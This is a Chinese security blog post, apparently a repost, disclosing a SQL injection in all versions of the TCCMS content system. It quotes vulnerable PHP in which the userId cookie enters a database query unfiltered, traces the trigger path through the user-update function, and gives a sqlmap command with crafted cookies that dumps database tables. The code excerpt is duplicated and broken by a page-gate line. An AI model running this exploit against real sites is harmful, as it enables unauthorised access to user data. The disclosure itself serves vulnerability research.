TCCMS全版本COOKIE注入

没穿底裤 2020年1月1日00:54:07评论419 views字数 1333阅读4分26秒阅读模式
摘要

/public/Class/Authen.class.php
省略无关代码
请注意添加注释处代码,下同
[php]
public static function checkUserLogin() {
$_Obj = M("user");
if (empty($_COOKIE['userId']) || empty($_COOKIE['AuthenId'])) {return false;}
//下面的语句直接使用$_COOKIE['userId']没有过滤
$sql="select password from ".$_Obj->table." where id=".$_COOKIE['userId'];
//不考虑之后的代码,如果没有其他限制至少可以盲注
$info = $_Obj->query($sql);
if (!empty($_COOKIE['AuthenId']) && md5($info[0][password].Config::get("anthenKey")) == $_COOKIE['AuthenId']) {
return true;
}
return false;
}
[/php]

/public/Class/Authen.class.php
省略无关代码
请注意添加注释处代码,下同
[php]
public static function checkUserLogin() {
$_Obj = M("user");
if (empty($_COOKIE['userId']) || empty($_COOKIE['AuthenId'])) {return false;}
//下面的语句直接使用$_COOKIE['userId']没有过滤
$sql="select password from ".$_Obj->table." where id=".$_COOKIE['userId'];
//不考虑之后的代码,如果没有其他限制至少可以盲注
$info = $_Obj->query($sql);
if (!empty($_COOKIE['AuthenId']) && md5($info[0]

输入密码查看隐藏内容

.Config::get("anthenKey")) == $_COOKIE['AuthenId']) {
return true;
}
return false;
}
[/php]

//下面函数与之后提到的攻击向量有关
[php]
public static function checkIsSelfData($uid) {
if (self::isAdmin()) {return true;}
if ($uid == $_COOKIE['userId'] && self::checkUserLogin()) {return true;}
return false;
}
[/php]

那么我们要定位漏洞代码的触发位置

/core/controller/user.class.php

攻击向量:

update()-------------》Authen::checkIsSelfData-------》checkUserLogin()

缺陷参数:userID
[php]
public function update() {
…………省略无关代码…………

//禁止修改别人的

$IsSelfData = Authen::checkIsSelfData($_Obj->id);

if (!$IsSelfData) {

$this->setValue("error", Config::lang("NOTRIGHT"));

$this->forward("error.html");

exit;

}

$_Obj->update();

StringUtil::msgbox(Config::lang("MODIFYSUCCESS"), 'index.php?ac=user_info', 1);

}
[/php]

即:在更新个人信息时可以直接将cookie中的userID带入数据库查询,形成注射

exp:
[php]
sqlmap.py -u "http://0day5.com/index.php?ac=user_update" --data "abc" --cookie "Cookie=PHPSESSID=0lc04nmbqmmtr420c83n8ov3g4; userId=37; AuthenId=2fd1239168e9fabd621a8d00fba03203" --level 2 --table --dbms=mysql[/php]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日00:54:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TCCMS全版本COOKIE注入https://cn-sec.com/archives/75322.html

发表评论

匿名网友 填写信息